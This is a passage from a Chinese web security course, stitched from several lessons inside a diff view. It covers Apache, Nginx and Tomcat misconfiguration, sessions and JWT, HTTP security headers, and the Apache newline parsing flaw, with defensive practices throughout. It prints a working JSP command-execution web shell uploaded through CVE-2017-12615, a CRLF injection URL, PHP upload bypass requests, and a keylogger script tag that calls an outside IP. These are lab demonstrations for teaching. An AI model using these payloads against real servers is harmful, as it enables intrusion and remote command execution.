接下来,我们学习了访问控制漏洞及权限提升。我们首先了解了什么是访问控制,知道它是用来限制用户可访问资源的措施。当这个措施不够完善,使得用户可以绕过这个访问控制时,就代表访问控制漏洞的存在,用户可以凭此实现权限提升操作,去做一些自己原本没有权限执行的行为。
接着,我们学习了身份验证漏洞。同样,我们首先了解了什么是身份验证,身份验证顾名思义,就是用来对用户身份进行验证的措施,它可以防止攻击者伪造他人身份。当身份验证机制不够完善,导致攻击者可以通过一些手段,绕过身份验证机制,登录别人的账号,这就是身份验证漏洞。
最后,我们还学习了抵御这些用户账户安全问题的方法,这可以帮助我们构建更安全的账户安全体系。
思考题
你觉得保证用户账户安全的难点有哪些?
欢迎在评论区留下你的思考。如果觉得今天的内容对你有所帮助的话,也欢迎你把课程分享给其他同事或朋友,我们共同学习进步!

View File

@ -0,0 +1,220 @@
因收到Google相关通知网站将会择期关闭。相关通知内容
28 安全配置错误:安全问题不只是代码安全
你好,我是王昊天。
不知道你是否看见过下面这张图片它是我们在使用Django编写后端程序时经常会看到的报错页面。在这个报错页面中我们可以看到这个Web应用的所有路径这对于Web应用来说是极其危险的。
从页面最下方的提示信息中我们可以知道这是由于我们在Django的配置文件中没有将DEBUG改为False导致的。所以这就是一个由于配置错误导致的Web应用安全问题。
其实在Web应用中安全配置问题还是很普遍的这节课就让我们一起来深入学习下吧
安全配置错误
在Web应用中由于安全配置错误导致的安全问题屡见不鲜这里我选取了Web应用中典型的一些安全配置问题来讲解它们分别为Apache配置安全问题、Nginx配置安全问题以及Tomcat配置安全问题下面我们逐一看下。
Apache配置安全问题
Apache是世界使用排名第一的Web服务器软件。它的兼容性很好可以在Linux系统以及Windows系统中运行。Web应用开发者可以用它来运行开发的Web服务。
我们可以将它简单理解为当在一台机器上配置好Apache服务器可利用它响应HTML页面的访问请求。
Apache软件有一个配置文件它通常为httpd.conf我们在启动自己的Web应用前首先需要对它进行配置的修改。
如果我们希望Apache在遇到扩展名为PHP的页面文件时将它用x-httpd-php来解析那么我们就可以在配置文件中添加代码 AddHandler application/x-httpd-php .php。之后重启Apache服务配置就能生效。
而这个配置会导致一定的安全隐患,接下来让我们借助一个示例,看看它会带来什么安全隐患吧。
在此之前我们需要学习一下Apache的基本特性。
Apache是从前往后开始识别文件扩展名的例如遇到文件test.php.xyz.jpg时它会将PHP识别为文件的扩展名从而根据之前的配置选择用x-httpd-php来对它进行解析。
这样,我们就做好了所有的前期准备工作。下面,我们一起来看这个安全隐患。
这是一个文件上传靶场由于我们将它的安全等级设为高所以它可以成功拦截所有PHP后缀的文件这样做可以防止攻击者上传PHP恶意文件从而保护Web应用的安全。
但是我们可以将恶意PHP文件名设置为test.php.xyz.jpg这样就能绕过文件上传检测成功将这个文件上传到images文件中。
其中这个test.php.xyz.jpg的内容为
<?php phpinfo();?>
之后我们尝试对其进行访问发现Apache服务器无法解析这一文件。所以这个Web应用目前是安全的攻击者无法通过上传文件test.php.xyz.jpg去执行恶意的PHP代码。
如果我们在Apache的配置文件apache2.conf中加入这一项 AddHandler application/x-httpd-php .php。然后重启Apache2服务。
那么我们再次访问上传的文件,获得到的响应内容就变为如下:
这里可以看到我们上传的恶意PHP代码已经被执行。这个Web应用不再安全。
在这个示例中原本的Web应用是安全的它成功拦截了以.php结尾的文件的上传并且不允许用x-httpd-php来解析结尾不是.php的文件这是无懈可击的攻击者根本无法让这个Web应用去执行恶意PHP脚本。
可是如果Web应用开发者在配置文件中进行错误的配置例如这里加上AddHandler application/x-httpd-php .php就会使得Web应用可以用x-httpd-php来解析PHP类型的文件就算它的结尾不是.php。这给了攻击者可乘之机让Web应用处于危险之中。
到这里你已经学完了Apache中的安全配置问题这会让你对安全配置问题有更具体的理解。其实在Nginx中也会有安全配置问题接下来我们就一起看看。
Nginx配置安全问题
Nginx是一个高性能的HTTP和反向代理Web服务器我们可以在Unix以及Linux中运行它。它的应用非常广泛我们熟知的百度、京东、新浪、网易以及腾讯都有使用到这款软件。
在使用这款软件时,我们必须正确的对它进行配置,否则容易导致一些安全问题。
例如当Nginx配置不当就会导致CRLF注入的发生。所谓CRLF其实就是两个字符CR与LF它们分别代表回车以及换行。事实上在HTTP报文中行与行之间使用的就是CRLF间隔。
接下来为了帮助你更好地理解Nginx配置的安全问题让我们一起来看一个示例吧。
下方代码是一个Nginx配置文件你可能对它不太熟悉不过不要着急我会给你分析配置中的安全问题。
server {
listen 8080;
root /usr/share/nginx/html;
index index.html;
server_name _;
location / {
return 302 https://$host$uri;
}
}
在这个Nginx配置文件中存在问题的配置在最后一行我们只需要关注这一部分即可。
return 302 https://$host$uri;
这行代码可以使得原本对主机的HTTP的请求跳转到HTTPS请求上。我们可以将其中的 $host简单理解为原始请求中的host信息而 $uri 则是安全问题产生的关键它代表着请求中解码后的请求路径。你可能觉得这里并没有什么问题可如果攻击者将请求的URL信息设置为如下
http://ip:port/%0a%0dSet-Cookie:%20a=test
这个URL中%0a经过解码之后就是CR%0d经过解码之后则为LF%20解码之后对应为空格。所以Nginx在对$uri进行解码时会将%0a%0d解码为CRLF这会使得HTTP报文换行然后发起Set-Cookie的请求这就是CRLF注入的效果。
下面我们一起看上述内容的实例。注意这里靶场中的Nginx配置和上面图片中一致。
我们首先访问了127.0.0.1:8080服务发现Nginx成功让页面跳转到HTTPS服务并且页面中也没有cookie信息。其中这里页面显示无法访问此网站这是因为靶场仅用来演示Nginx配置问题并没有实际页面支撑所以导致没有页面内容返回但它对我们的测试不会造成影响。
接着我们对这个Web应用发起攻击对127.0.0.1:8080/%0a%0dSet-Cookie:%20a=test进行访问结果发现页面同样跳转为HTTPS服务不过此时多出了响应Cookie信息。这表明我们的CRLF注入成功并且成功执行了Set-Cookie指令。
现在你已经了解了Nginx配置相关的安全问题知道了它其实就是由CRLF注入导致的。接下来让我们继续学习Tomcat中的安全配置问题吧。
Tomcat配置安全问题
首先我们来了解下Tomcat是什么
Tomcat 服务器是一个免费的开放源代码的Web应用服务器属于轻量级应用服务器在中小型系统和并发访问用户不是很多的场合下被普遍使用。实际上Tomcat是Apache服务器的扩展但运行时它是独立运行的所以当你运行Tomcat时它实际上是作为一个与Apache独立的进程单独运行。
在对它有了一定的了解之后我们来对Tomcat做一些安全性分析。Tomcat中存在一个知名的安全配置问题它就是CVE-2017-12615。具体的问题体现为当Tomcat运行在Windows主机上并且在conf/web.xml的配置文件中将DefaultServlet readonly设置为false那么如果它启用了HTTP PUT请求方法就会导致任意写文件的安全问题发生。
接下来让我们通过实战加深一下对Tomcat配置安全问题的理解吧。
首先登录谜团mituan.zone并选择【Tomcat专题CVE-2017-12615】靶机如果你可以看到如下页面那就成功打开了我们的靶场。
其次我们要测试一下是否可以上传文件到服务器目录下。具体的实践方式为使用BurpSuite拦截该网页获取到如下报文
GET / HTTP/1.1
Host: 45e308724beb41f1943f19e8652afb2e.app.mituan.zone:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
然后我们将它进行修改为如下报文,并进行发送。
PUT /1.jsp/ / HTTP/1.1
Host: 45e308724beb41f1943f19e8652afb2e.app.mituan.zone:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
<%
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b)) != -1){
out.println(new String(b));
}
out.print("</pre>");
%>
修改后的报文可以向Tomcat服务器尝试写入1.jsp文件。其中1.jsp文件的内容为报文下方<% %>内的部分。这部分的功能就是获取get方式上传的参数i并将它当作命令去执行。
接下来,我们去测试尝试的攻击行为是否成功。访问路径 /1.jsp?i= ls -l其中 1.jsp 就是我们刚刚写入的文件,而 ?i=ls -l这是通过get方式上传参数i并将它的值设为 ls -l。
我们发现页面的响应为一些文件信息,这代表我们的 ls -l 命令运行成功也代表这个Tomcat服务器存在安全配置问题。
到这里我们已经知道安全配置错误的危害还是较为严重的所以我们在设计一个Web应用时要注意对安全配置错误的避免。接下来让我们进入到安全实践中总结一下如何避免安全配置错误。
安全实践
为了避免安全配置错误的发生我们在配置Web应用时需要遵守几个原则。
第一个原则为最小服务原则我们需要将Web应用不需要的服务进行关闭或限制防止攻击者通过这些服务发起恶意行为。
第二个原则为通用化的报错设置即我们需要将Web应用的报错信息设置得通用化使得报错信息中不包含错误发生的细节信息防止因此导致的敏感信息泄露。
第三个原则为修改默认账户信息我们需要将Web应用默认的账户信息进行修改尽量让账户密码变得复杂否则攻击者很容易就会猜出账户信息登陆进Web应用的管理后台。
总结
在这节课程中,我们学习了安全配置错误。
首先我们通过Django示例来了解什么是安全配置错误。接着我们更加深入的对典型的Web应用安全配置问题进行了逐一的学习。
我们第一个学习的是Apache相关的安全配置问题。在对这一部分的学习中我们通过上传一个扩展名复杂的文件绕过了Web应用对于上传文件类型的检测过滤。然后再利用Apache配置不当的问题使得这一文件被x-httpd-php解析成功。这样就使得攻击者可以实现任意PHP代码执行。
接下来我们学习了Nginx相关的安全配置问题。在对它的学习中我们了解到Nginx是一个高性能的HTTP和反向代理Web服务器。如果对于它的配置方式不当就会使得CRLF注入的发生。然后我们通过示例知道了攻击者可以通过CRLF注入进而实现对HTTP请求指令的设置。
接着我们学习了Tomcat相关的安全配置问题了解到如果对它的配置不当就会产生任意写入文件问题。在实战部分中我们还利用这个问题成功实现了任意命令执行操作。
最后我们学习了如何抵御安全配置错误了解到主要可以通过最小服务原则、通用化报错设置以及修改默认账户来提升我们Web应用的安全性。
思考题
除了这节课中提到的安全配置错误你还能想到其他Web应用相关的安全配置错误吗
欢迎在评论区留下你的思考。如果觉得今天的内容对你有所帮助的话,也欢迎你把课程分享给其他同事或朋友,我们共同学习进步!

View File

@ -0,0 +1,129 @@
因收到Google相关通知网站将会择期关闭。相关通知内容
29 Session与Cookie账户体系的安全设计原理
你好,我是王昊天。
我有次在访问某个页面时为了下载一些东西按照页面要求进行了复杂的登录操作。之后我不小心关闭了当前页面然后再一次点开这个页面麻木的准备再来一遍复杂的登录操作时我神奇地发现面前的Web应用竟然是登录成功的状态你知道这是怎么一回事吗
事实上这个现象是由Web账户体系的安全设计所导致的。在这一讲中我们将会对它进行学习这样你就能清楚地知道问题的答案啦。下面我们就正式开始今天的学习。
现在几乎每个大型Web应用都会存在账户体系当我们需要获取Web应用中的某些服务时Web应用会首先对我们的身份进行认证。所以接下来我们会从身份认证的相关基础知识入手。
身份认证
身份认证的方式有多种我们可以用最典型的账号密码进行认证除此之外我们还可以用cookiesession、Token、数字证书以及手机验证码来验证。这里你可能对于cookie以及Token会比较陌生不过不用担心我们会在后面对它们进行详细的讲解。
在这些认证过程中,可以分为两种类型,即登录过程的认证以及保持登录的认证。
为了让你更好地理解它们二者之间的区别,我们一起来看一个示例。
这是谜团mituan.zone的登录页面我们需要输入正确的用户名、密码以及验证码才能通过身份认证很明显这是登录过程的认证。
当我们登录成功后我们会发现浏览器中多了一些cookie信息。
这些cookie信息有一定的有效期。在有效期内cookie信息会一直存在它使得我们下次访问这个页面时无需再次输入账号密码进行登录而是可以直接用cookie信息来实现身份认证操作这就是保持登录的认证。
你现在知道导入中神奇现象发生的原因了吗?其实在导入部分中的自动登录,就是通过保持登录的认证来实现的。而这种认证方式,主要是通过会话管理来实现的,接下来让我们简单了解下会话管理的作用。
会话管理
在学习会话管理之前我们首先需要巩固下HTTP协议的知识。
HTTP协议是无状态无连接的协议服务端对于客户端每次发送的请求都认为它是一个新的请求上一次会话和下一次会话是没有联系的。因为它无法保存登录状态所以从协议本身来说它不适合用来做会话管理。
因此,我们会使用一个上层应用去实现我们的会话管理功能。这个应用可以在切换页面时保持登录状态,并且对用户是透明的,这样就使得我们能在短时间内再次访问一个登录过的页面,就会保持登录状态。
经过上述内容的学习你已经知道了会话管理具有什么作用。接下来让我们具体学习下会话管理的两种典型方式即基于session的认证以及基于Token的认证。
基于 session 的认证
Web应用可以基于session的认证来实现保持登录它的具体实现方式如下图所示
用户在首次访问Web应用时会将自己的账号密码通过POST方式进行上传然后Web应用服务器会对账号密码进行检查。如果检查通过就会给用户配置一个sessionid并将它存储在服务器内存中之后再把这个sessionid发送给用户。
注意这里sessionid的位置可能在URL、隐藏域以及cookie中。由于cookie信息较为隐蔽些所以将sessionid放在cookie中相对来说更为安全因此这一实现方式也最普遍。
用户在收到Web应用服务器的回应之后再次对Web应用发起请求的cookie中就会自动包含sessionid信息。Web应用服务器会对其中的sessionid信息进行检查以获取用户的登录信息如果信息正确就让用户处于登录成功的状态否则需要重新进行登录过程的认证。
值得一提的是为了安全考虑Web应用通常会给sessionid设置一个过期时间使得sessionid仅在某个时间段内有效这样就可以有效地抵御攻击者盗用sessionid绕过身份认证的行为。
到这里我们已经学习了Web应用是如何利用session进行身份认证的。而这里还有一个很重要的知识点我们有必要深入了解一下那就是在session进行身份认证中存在的典型攻击方式——会话固定攻击。
在之前的学习中我们知道了sessionid可以存在于URL中。在这种情况下如果登录前后sessionid不变化那么攻击者就可以发起会话固定攻击。
这里我已经画出了会话固定攻击的示意图,让我们一起看看吧。
攻击者首先访问一个需要登录的网站获取到Web应用返回的sessionid信息。由于攻击者没有账户密码所以只能通过发送一个诱骗信息给受害者使得受害者用这个sessionid实现登录操作。这样攻击者的sessionid就通过了验证使得攻击者再次用这个sessionid信息访问被攻击网站时可以直接通过保持登录的认证。
这就是将sessionid信息放在URL中的安全隐患。
基于 Token 的认证
除了基于session的认证之外Web应用还可以利用Token来实现会话管理。
基于Token的认证方式如下图所示让我们从图中观察它是如何实现的吧。
用户首先需要通过POST方式上传账号密码信息进行登录过程的认证Web应用服务器接收到之后会检查账号密码信息是否正确如果正确就会生成一个包含密码信息的Token值这里以JWTJSON Web Token为例。
之后服务器会将这个Token信息发送我们的浏览器接着浏览器会将这个Token信息保存在Header中使得以后每次请求的Header中都会包含这个Token信息。服务器在接收到Token信息后会从中提取出用户的账户信息并对此进行检测然后将响应发送给我们的浏览器。
这就是基于Token的认证方式下面让我们以JWT为例进行学习深入地了解Token的具体形式。
上方方框中的内容是一个完整的JWT信息它可以根据.分割成三个部分我们将它不同的部分用不同的颜色进行显示。接下来让我们逐一分析JWT各个部分的内容。
第一个部分经过base64解码就变为了蓝色方框中的内容其中alg的内容设置的是signature中签名使用的算法而typ的内容则定义了这个Token的类型。
第二部分解码为绿色方框中的内容它包含了用户相关的信息Web应用可以根据这些信息来确定用户的身份。
最后一部分解码为橙色方框中的内容它包含了对Token信息的完整性验证签名。其中需要用到仅有服务器知道的secret信息这也是导致攻击者无法伪造Token信息的关键。
以上就是JWT的组成结构。其中Header以及payload用到的都是些通用数据攻击者很容易就可以伪造出来。唯一有难度的就是对secret签名部分的伪造事实上攻击者可以通过密钥爆破的方式尝试进行Signature信息的伪造。一旦伪造成功攻击者就可以以任意身份登录这个Web应用这对Web应用来说是极大的威胁。所以Token信息的设计者需要有意识地提高secret的复杂度。
到这里,你已经学习了会话管理的两种典型方式。接下来,让我们拓宽视野,简单了解下单点登录的知识。
单点登录
如今的Web应用越来越多同一个公司可能就会研发出多个Web应用如果每个应用都需要分开登录注册那既会使得用户感到不方便也会增加开发成本。为了解决这个问题大家通常会采取单点登录方案。
单点登录就是用户只需要登录一次就可以访问所有相互信任的应用系统。它把认证的流程统一起来,使得认证的风险集中化。
这样,我们只需要在那统一的登录流程中做好安全认证措施,就可以实现对多个应用的身份认证。单点登录既能降低开发成本,也可以提高登录的安全性。
总结
这节课我们学习了账户体系的安全认证设计。
首先,我们学习了身份认证的方式,了解到除了我们熟悉的登录过程认证之外,还有保持登录认证这一种方式。
接着我们深入学习了保持登录认证的方式知道了它是由会话管理方法实现的。然后我们对基于session的会话管理以及基于Token的会话管理进行了全面的学习我们不仅知道了它们保持登录认证的实现方式还知道它们存在的安全隐患。
最后我们了解了一个面对多个应用需要登录验证时的解决方案即单点登录。使用单点登录既可以统一管理所有的登录认证还可以降低多个Web应用的开发成本。
思考题
你知道在基于session的保持登录认证中为什么将session信息放置在cookie中会更加安全吗
欢迎在评论区留下你的思考。如果觉得今天的内容对你有所帮助的话,也欢迎你把课程分享给其他同事或朋友,我们共同学习进步!

View File

@ -0,0 +1,186 @@
因收到Google相关通知网站将会择期关闭。相关通知内容
30 HTTP Header安全标志协议级别的安全支持
你好,我是王昊天。
前几天,我在路上遇到了一个外国友人,他用英语问我如何前往上海火车站。我一时没缓过神,直接用中文回答他,乘坐一号线就可以到达。看着他迷茫的眼神,我反应了过来,接着赶忙用英语来回答他。还好我英文不错,他听懂了,在对我说了声谢谢后就走上了一号线。
事后,我反思了一下,我们人和人之间的沟通,其实都会按照一个隐形的协议去进行,例如我会中文和英文,外国友人却只会英文,所以我们就需要用英文才能进行沟通。
那么你知道我们是如何与Web应用进行有效通信的吗事实上我们与Web应用的交互也离不开一个广泛运用的协议—— HTTP协议。这个协议规定了Web客户端如何从Web服务器请求Web页面以及服务器如何把Web页面传送给客户端。
除了这些广为人知的作用HTTP协议还能对Web应用提供一些安全支持。这一讲我们就一起学习下HTTP协议对于安全有哪些支持。
HTTP协议
首先我们需要搞清楚什么是HTTP协议。
HTTP协议即超文本传输协议Hyper Text Transfer Protocol。它是一个简单的请求-响应协议且通常运行在TCP协议之上。它指定了客户端可能发送给服务器什么样的消息以及得到什么样的响应。这个协议是早期Web成功的有功之臣因为它使开发和部署非常得直截了当。
在了解完HTTP协议的大致功能后让我们一起看一个示例了解HTTP协议所规定的消息样式。
这是我访问百度页面时用BurpSuite捕获到的报文
GET / HTTP/1.1
Host: www.baidu.com
Cookie: BIDUPSID=D6FC148CB0142694E6019498ECE6FA8F; PSTM=1644916942;
...
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
我们可以看到这是一个请求报文报文中第一行内容为HTTP请求的方式以及所用到的HTTP协议版本。其它行都是定义的HTTP请求头信息即HTTP Request Header信息。
将请求报文发出后我们会收到Web应用返回的响应报文
HTTP/1.1 200 OK
Bdpagetype: 1
Bdqid: 0xeafae0b1000f161a
Cache-Control: private
Content-Type: text/html;charset=utf-8
Date: Tue, 15 Feb 2022 12:35:42 GMT
Expires: Tue, 15 Feb 2022 12:35:31 GMT
Server: BWS/1.1
Set-Cookie: BDSVRTM=0; path=/
Set-Cookie: BD_HOME=1; path=/
Set-Cookie: H_PS_PSSID=35410_35104_31254_34584_35491_35872_35796_35324_26350_35746; path=/; domain=.baidu.com
Strict-Transport-Security: max-age=172800
...
<!DOCTYPE html><!--STATUS OK-->
<html>...</html>
我们可以发现响应报文的第一行也是所使用的HTTP协议版本信息后面会跟上响应的状态码。下面几行会包含一些HTTP Response Header即HTTP响应头信息。最后从标签开始是响应页面的内容。
到这里我们已经知道了HTTP协议的作用并且对HTTP请求报文和响应报文都有了一定的了解。接下来让我们来学习HTTP Header中的安全标志了解HTTP协议为了保证Web应用的安全做出了哪些应对措施。
HTTP Header安全标志
HTTP协议可以分为请求与响应两部分所以HTTP Header按照功能也可以分为HTTP请求头以及HTTP响应头。
其中请求头包含了有关要获取资源的客户端信息而响应头则包含一些有关响应的附加信息。因此有关安全的HTTP头都被设在HTTP响应标头中。下面让我们一起看几个典型的HTTP安全响应头它们都是用于定义是否应在Web浏览器上激活一些安全预防措施。
HSTS标志
HSTS标头即HTTP Strict Transport Security的简称它是Web应用使用最广泛的安全标志之一。这个标志会告诉浏览器只能通过HTTPS协议访问当前资源而不可以使用HTTP访问。
这里我们来了解下什么是HTTPS协议。
这还要从HTTP协议说起虽然HTTP协议使用极为广泛但是却存在不小的安全缺陷主要是其数据的明文传送和消息完整性检测的缺乏而这两点恰好是网络支付等新兴应用中安全方面最需要关注的。
关于HTTP的明文数据传输最常用的攻击手法就是网络嗅探。攻击者可以试图从传输过程当中分析出敏感的数据例如从管理员对Web程序后台的登录过程中攻击者可以从中获取网站的账号密码从而获取网站管理权限。
另外HTTP在传输客户端请求和服务端响应时唯一的数据完整性检验就是在报文头部包含了本次传输数据的长度而对内容是否被篡改不作确认。 因此攻击者可以轻易地发动中间人攻击,修改客户端和服务端传输的数据,甚至在传输数据中插入恶意代码只需要保证传输数据长度不变即可。
为了解决这个问题HTTPS协议应运而生它是由HTTP加上TLS/SSL协议构建的可进行加密传输、可检测消息完整性的网络协议。因此当我们使用HTTPS访问一个页面时会更有安全保障。
接下来让我们通过一个示例来体会HSTS标志的作用。
我们先使用HTTP协议访问百度获取到如下报文
从报文中我们可以看到请求发出后收到了响应302这意味着需要进行跳转操作。从location信息中我们发现它会跳转到百度的HTTPS服务。
接着我们果然看到一个发往https://www.baidu.com的请求报文并且在请求报文中配置了Strict-Transport-Security并且给它赋值为max-age=172800这意味着该配置的有效时间为172800秒即48小时。
为了方便观察我们清空HTTP history中的记录再次用HTTP协议访问百度页面获取到的记录如下
可以看到我们的HTTP访问直接变为了更安全的HTTPS访问这就是HSTS标志的作用。
到这里我们已经学完了HTTP协议的第一个安全标志。接下来让我们继续学习其他的安全标志。
CSP标志
不知道你是否还记得CSP即Content-Security-Policy我们在之前学习XSS攻击的防御时曾提到过这一防御方案。事实上它也是一个HTTP安全响应头我们可以利用它来定义页面可以加载哪些资源。
这么说可能有点抽象下面让我们一起看一个示例来帮助我们理解CSP的作用。
Content-Security-Policy: script-src 'self'
这是一个CSP标志配置示例它的值为 script-src 'self'这代表会对JavaScript代码的加载做一些限制仅允许加载与Web页面相同来源的JavaScript代码。注意这里的相同来源指的是相同的协议、域名和端口。
回顾我们用XSS攻击实现按键记录的过程我们需要利用如下语句加载恶意服务器上的 keylogger.js 的内容,从而实现按键记录功能。
<script%20src=http://192.168.3.193/keylogger.js></script>
可如果被攻击的Web应用添加了上述CSP策略就会导致我们的JavaScript代码加载失败从而无法实现我们的攻击行为。
下面让我们继续学习X-Frame-Options安全标志的功能。
X-Frame-Options标志
X-Frame-Options响应头也是一个重要的HTTP Header安全标志它用来配置是否允许一个页面可在 、、 或者 中展现设置的内容。
接下来,我们一起来看一个示例:
X-Frame-Options: DENY
在这个示例中我们将它的值设为DENY表示该页面不允许在frame等上述标签中展示任何内容。事实上它还有两个可能取值SAMEORIGIN以及ALLOW-FROM uri。其中SAMEORIGIN代表仅允许在上述标签中展示与当前页面域名相同的内容而ALLOW-FROM uri则代表仅允许在其中展示uri对应页面的内容。
还记得我们在XSS学习中曾今利用XSS攻击实现了广告的植入操作产生的效果如下图所示
如果Web应用在响应中配置了这一标签那么就可以有效地抵御广告的植入。
接下来我们继续来学习另一个常用的HTTP协议响应头即Access-Control-Allow-Origin它可以用来进行资源的访问权限设置。
Access-Control-Allow-Origin标志
Access-Control-Allow-Origin标志指定了该响应的资源是否被允许与给定的origin共享。
为了让你更好地理解,下面让我们一起来看一些示例:
Access-Control-Allow-Origin: *
# 或
Access-Control-Allow-Origin: https://mituan.zone
它有两种配置方式,第一种将它的值设为*这代表允许所有域名访问当前响应的资源。第二种将它的值设为一个具体的uri这代表仅允许该域名访问当前响应的资源。因此Access-Control-Allow-Origin标志可以使网站之间安全地跨域获取资源。
最后我们来看一个相对熟悉一些的HTTP响应头Set-Cookie。
Set-Cookie标志
在上一讲中我们学习了保持登陆状态的认证事实上它就是通过Set-Cookie来实现的。
Set-Cookie标志不仅可以用来配置浏览器的Cookie信息同时它还能对Cookie信息进行一些保护。下面还是一起看一个示例
Set-Cookie: <cookie-name>=<cookie-value>; Secure; HttpOnly
在这个示例中我们写入了一个cookie的值同时在后面加了两个配置项Secure以及HttpOnly。其中Secure的作用是强制cookie只能在HTTPS环境下传递而HttpOnly则可以禁止使用JavaScript去存取cookie。它们都可以有效地保护cookie信息防止攻击者窃取cookie。
总结
在这一讲中我们学习了HTTP Header对于Web提供的协议级别的安全支持。
首先我们回顾了HTTP协议的内容并对请求报文的格式以及响应报文的格式等基础知识进行了学习与回顾。
在学习基础知识的过程中我们了解到在响应报文中会存在一些HTTP Header信息。其中有的HTTP Header内容可以对我们的Web应用进行保护。
最后我们对其中常用的五个典型HTTP Header进行了学习。它们分别为HSTS标志、CSP标志、X-Frame-Options标志、Access-Control-Allow-Origin标志以及Set-Cookie标志。在学习过程中我们了解了它们的作用并通过示例理解了它们的配置方式。
思考题
你知道还有哪些HTTP Header可以对Web应用提供安全支持吗
欢迎在评论区留下你的思考。如果觉得今天的内容对你有所帮助的话,也欢迎你把课程分享给其他同事或朋友,我们共同学习进步!

View File

@ -0,0 +1,200 @@
因收到Google相关通知网站将会择期关闭。相关通知内容
31 易受攻击和过时的组件DevSecOps与依赖项安全检查
你好,我是王昊天。
不知道你是否听说过木桶效应我们可以看下图这个木桶假设它的底面为一整块木板桶身由15块木板组成。现在我们需要用这个木桶装尽可能多的水显而易见它能装水的数量仅与木板中高度最低的相关。
其实对于Web应用的安全性来说木桶效应同样有效。假设我们的Web应用运用了多个组件例如Struts、Apache那么它的安全强度也是由这些组件中最脆弱的一个所决定。所以在我们开发一个Web应用时需要确保每一个组件都不存在已知的安全问题。
那么这节课就让我们一起学习下Web应用中组件的安全问题吧。
易受攻击和过时的组件
首先我们需要了解Web应用中具有哪些组件。
通常来讲Web应用一般都包含三个基础组件Web应用服务组件、Web数据库组件以及Web客户端浏览器组件。其中我们很容易知道Web应用服务器是用于运行Web应用的Web数据库服务器是用于给Web应用提供需要的数据而Web客户端浏览器则可以用来展示Web应用返回的内容同时决定用户与Web应用的交互方式。
其实上述三个基础组件本身也是由多个组件所构成的例如Web应用服务器可能会包含Struts、Apache应用等多个组件而Struts、Apache内部也会包含很多组件。所以组件是一个很灵活的说法你可以将它简单地理解为是一个独立功能单元。
随着Web应用的功能越来越复杂应用中组件的个数也在不断提升这会对Web应用的安全造成一定的威胁因为我们难以确保每个组件都是安全的。这是一个棘手的问题它在OWASP 2021中荣获第六位下面让我们具体地学习一些典型的易受攻击和过时的组件吧。
Apache换行解析漏洞
在之前的学习中我们知道了Apache是一款使用很广泛的Web应用组件尽管它的功能非常强大但是在过去的版本中它也存在换行解析漏洞所以我们如果用这款工具时要注意它的版本信息。
这个换行解析漏洞影响的版本为Apache 2.4.10 - 2.4.29接下来让我们通过示例来具体的学习Apache换行解析漏洞。
这是一个文件上传靶场我们需要上传一个test.php文件点击提交后我们可以看到页面返回了bad file。发现被拦截之后我查看靶场源码看到了下面的过滤代码
if(in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'])) {
exit('bad file');
}
它是基于黑名单的过滤方式所以我们无法直接上传php相关后缀的文件名。但是我们可以尝试利用换行解析漏洞去进行测试。于是我们开启BurpSuite拦截文件上传的报文如下
POST /index.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 298
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="95", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryD5b4HReBGGEbOB2B
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryD5b4HReBGGEbOB2B
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: text/php
<?php phpinfo();?>
------WebKitFormBoundaryD5b4HReBGGEbOB2B
Content-Disposition: form-data; name="name"
test.php
------WebKitFormBoundaryD5b4HReBGGEbOB2B--
在倒数第二行test.php的最后加上一个空格符然后点击Hex格式找到我们刚刚输入的空格将它改为0a。
然后将这个修改后的报文发送出去响应中不再提示bad file。然后我们访问test.php%0a路径获得响应如下
可以看到我们上传文件test.php成功并且成功输出了其中的PHP语句我们看到Apache的版本信息为2.4.10,确实是存在换行解析漏洞的版本。
回顾我们的攻击过程,我们将文件的后缀改为了 .php%0a这个后缀是可以通过检测的因此Web应用会允许 test.php%0a 的上传。到这里都是合理的可是问题就发生在Apache在解析这个文件时会将它解析为一个PHP文件并调用PHP解释器来执行它。
事实上,%0a 代表换行符。Apache 是使用 .php\( 的正则匹配方式来检测 php 后缀的文件,而 \) 是匹配字符串中结尾的位置,且如果存在换行符,则匹配换行符为结尾。所以,在上述示例中,我们利用了换行符 %0a 与 $ 匹配使得我们上传的文件test.php%0a被当作PHP文件解析。
这就是Apache换行解析漏洞它的危害性还是很大的所以我们在开发Web应用时需要避免使用漏洞存在的版本。
接下来让我们学习另一个典型的不安全组件问题即Struts2远程代码执行漏洞。
Struts2远程代码执行漏洞
在学习这个漏洞之前我们先来看下Struts2是什么。
